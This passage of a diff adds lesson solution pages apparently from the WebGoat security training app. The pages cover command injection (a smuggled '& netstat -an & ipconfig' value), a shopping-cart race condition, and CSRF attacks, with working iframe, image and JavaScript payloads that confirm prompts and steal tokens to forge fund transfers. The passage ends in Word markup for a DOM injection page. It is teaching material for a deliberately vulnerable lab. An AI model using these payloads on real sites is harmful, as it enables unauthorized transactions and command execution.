<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Select a
|
||||
lesson from the drop-down box and click on "View".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1376" o:spid="_x0000_i1027"
|
||||
type="#_x0000_t75" style='width:480pt;height:276.75pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CommandInjection_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/CommandInjection_files/image007.jpg" v:shapes="Picture_x0020_1376"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p><span style='font-family:"Arial","sans-serif"'>Intercept the
|
||||
request with WebScarab when you click on "View". Append <b>" & netstat -an
|
||||
& ipconfig</b> to the HelpFile parameter. Do not forget the double quote!<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1377"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:459.75pt;height:362.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CommandInjection_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=613 height=483
|
||||
src="lesson_solutions/CommandInjection_files/image008.jpg" v:shapes="Picture_x0020_1377"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Injecting command netstat & ipconfig</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The result
|
||||
contains the output of the command netstat and ipconfig.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_1378"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/CommandInjection_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/CommandInjection_files/image009.jpg" v:shapes="Picture_x0020_1378"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Command Injection results<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
32
src/main/webapp/lesson_solutions_1/ConcurrencyCart.html
Normal file
32
src/main/webapp/lesson_solutions_1/ConcurrencyCart.html
Normal file
@ -0,0 +1,32 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Shopping Cart Concurrency Flaw</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b> Shopping Cart Concurrency Flaw</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe. Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently. <br>
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/><br/>
|
||||
1. Open a new browser window on the same page.<br/><br/>
|
||||
2. In window A you choose a low cost item and click "Purchase".<br/><br/>
|
||||
<img src="lesson_solutions/ConcurrencyCart_files/image001.jpg"><br/>
|
||||
<font size="2"><b>Window A</b></font><br/><br/><br/>
|
||||
3. In window B you choose the a high cost item you want to buy and click "update cart". The variable of the price has been overwritten now.<br/><br/>
|
||||
<img src="lesson_solutions/ConcurrencyCart_files/image002.jpg"><br/>
|
||||
<font size="2"><b>Window B</b></font><br/><br/><br/>
|
||||
4. In window A you can click click "Confirm" and you bought your item for a lower price.<br/><br/>
|
||||
<img src="lesson_solutions/ConcurrencyCart_files/image003.jpg"><br/>
|
||||
<font size="2"><b>Window A Success</b></font><br/>
|
||||
<br><br><br>
|
||||
</body>
|
||||
</html>
|
||||
110
src/main/webapp/lesson_solutions_1/CsrfPromptByPass.html
Normal file
110
src/main/webapp/lesson_solutions_1/CsrfPromptByPass.html
Normal file
@ -0,0 +1,110 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Client Side Filtering</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
|
||||
multiple requests to by-pass a scriptable user-prompt
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||
that the first request triggered. The URL should point to this lesson with an extra
|
||||
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||
When you think the attack is successful, refresh the page and you will find the green check on
|
||||
the left hand side menu<br/>
|
||||
<b>Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.</b>
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code><img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
width="1" height="1" /></code>
|
||||
|
||||
This image request will not result in a transfer of funds but will instead
|
||||
prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
|
||||
Lesson with the extra parameter of "transferFunds=4000" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
|
||||
<font size="2"><b>User Prompt</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameters the confirmation requires.
|
||||
The form in the confirmation prompt looks like the following:
|
||||
<code>
|
||||
|
||||
<pre id="line548"><<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>>
|
||||
</<span class="end-tag">form</span>></pre></code>
|
||||
|
||||
From this we see the next forged command will need the folllowing URL: <br/>
|
||||
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
|
||||
This solution shows how to do this attack with both iframes and images. The next step is to
|
||||
add the additional forged confirmation request. However, an additional iframe or image with
|
||||
this URL will not be sufficient. The second request must load after the first. So add
|
||||
Javascript to load the second command after the first. For iframes, make the onload attribute
|
||||
of the first frame set the src of the second iframe:<br/>
|
||||
|
||||
<code>
|
||||
<pre id="line578"><<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';"</span>>
|
||||
</pre><pre id="line591"></<span class="end-tag">iframe</span>>
|
||||
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>>
|
||||
</<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
Next add the iframes into a message stored on the web page:<br/>
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
|
||||
<font size="2"><b>Insert iframes hack picture</b></font><br/>
|
||||
<p>
|
||||
The following shows the result of clicking on the malicious iframe message:
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Results of iframes hack picture</b></font><br/>
|
||||
In the above image, note that the first frame shows the user prompt, the result of the
|
||||
first forged request to transfer funds. In the second frame the results of the second
|
||||
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
|
||||
transfered. Refreshing the page will indicate that this lesson has been completed.
|
||||
</p>
|
||||
<p>
|
||||
In a real attack these results would be hidden from the end user. Click "restart this lesson"
|
||||
to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
|
||||
</p>
|
||||
<p>
|
||||
For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
|
||||
<br/>
|
||||
<code>
|
||||
<img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
|
||||
width="1" height="1" />
|
||||
<img
|
||||
id="image2"
|
||||
width="1" height="1" />
|
||||
</code>
|
||||
<br/>
|
||||
Next store the malicious images in a message and click the message to attempt the attack.
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
|
||||
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
|
||||
CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
|
||||
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
|
||||
</body>
|
||||
</html>
|
||||
122
src/main/webapp/lesson_solutions_1/CsrfTokenByPass.html
Normal file
122
src/main/webapp/lesson_solutions_1/CsrfTokenByPass.html
Normal file
@ -0,0 +1,122 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>CSRF Token By-Pass</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||
loading a page that contains a 'forged request' to execute commands with the
|
||||
victim's credentials. </p>
|
||||
|
||||
<p>Token-based request authentication deters these attacks. This technique
|
||||
inserts tokens into pages that issue requests. These tokens are required to
|
||||
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||
this technique to help prevent CSRF attacks.</p>
|
||||
|
||||
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||
other pages from the same domain. </p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||
request to transfer funds. To successfully complete you need to obtain a valid request token. The
|
||||
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
|
||||
"transferFunds=main". Load this page, read the token and append the token in a forged request
|
||||
to transferFunds. When you think the attack is successful, refresh the page and you will find the
|
||||
green check on the left hand side menu.<br/>
|
||||
<b>Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values.</b>
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
|
||||
a request will not result in a transfer of funds unless it has a correct token. To find
|
||||
a valid token, you could look at the form that the site generates to submit a transfer of funds.
|
||||
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
|
||||
of "transferFunds=main" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
|
||||
<font size="2"><b>Transfer initiation form</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameter the token comes in.
|
||||
<code>
|
||||
<pre id="line538"><span class="start-tag"><form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>>
|
||||
</pre><pre id="line555"></<span class="end-tag">form</span>></pre>
|
||||
</code>
|
||||
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
|
||||
|
||||
<p>This solution loads this page in an iframe and reads the token out of the frame.
|
||||
Note that this is possible because the message originates from the same domain and
|
||||
does not violate the "same origin policy". So even thought this page has taken
|
||||
measures to prevent CSRF attacks, those measures can be side-stepped because of
|
||||
CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
|
||||
frame, then the form, then saves the token </p>
|
||||
|
||||
<code><pre>
|
||||
var tokenvalue;
|
||||
|
||||
function readFrame1()
|
||||
{
|
||||
var frameDoc = document.getElementById("frame1").contentDocument;
|
||||
var form = frameDoc.getElementsByTagName("form")[1];
|
||||
var token = form.CSRFToken.value;
|
||||
tokenvalue = '&CSRFToken='+token;
|
||||
|
||||
loadFrame2();
|
||||
}
|
||||
|
||||
function loadFrame2()
|
||||
{
|
||||
var testFrame = document.getElementById("frame2");
|
||||
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
|
||||
}
|
||||
</pre></code>
|
||||
|
||||
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
|
||||
LoadFrame2 will then append the token and load a second frame. </p>
|
||||
|
||||
The following frames loads the transfer page in the first frame. When it finishes loading, it will
|
||||
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
|
||||
|
||||
<code><pre></pre></code>
|
||||
|
||||
|
||||
<code>
|
||||
<pre id="line585"><<span class="start-tag">iframe</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
|
||||
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
|
||||
|
||||
The following picture shows the results of someone hitting this page. Note that no effort was taken to
|
||||
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
|
||||
the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
|
||||
<font size="2"><b>Results of viewing the malicious message</b></font>
|
||||
|
||||
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
865
src/main/webapp/lesson_solutions_1/DOMInjection.html
Normal file
865
src/main/webapp/lesson_solutions_1/DOMInjection.html
Normal file
@ -0,0 +1,865 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/DOMInjection_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/DOMInjection_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>4</o:Revision>
|
||||
<o:TotalTime>45</o:TotalTime>
|
||||
<o:Created>2007-07-11T14:49:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:20:00Z</o:LastSaved>
|
||||
<o:Pages>3</o:Pages>
|
||||
<o:Words>345</o:Words>
|
||||
<o:Characters>1972</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>16</o:Lines>
|
||||
<o:Paragraphs>4</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>2313</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/DOMInjection_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/DOMInjection_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
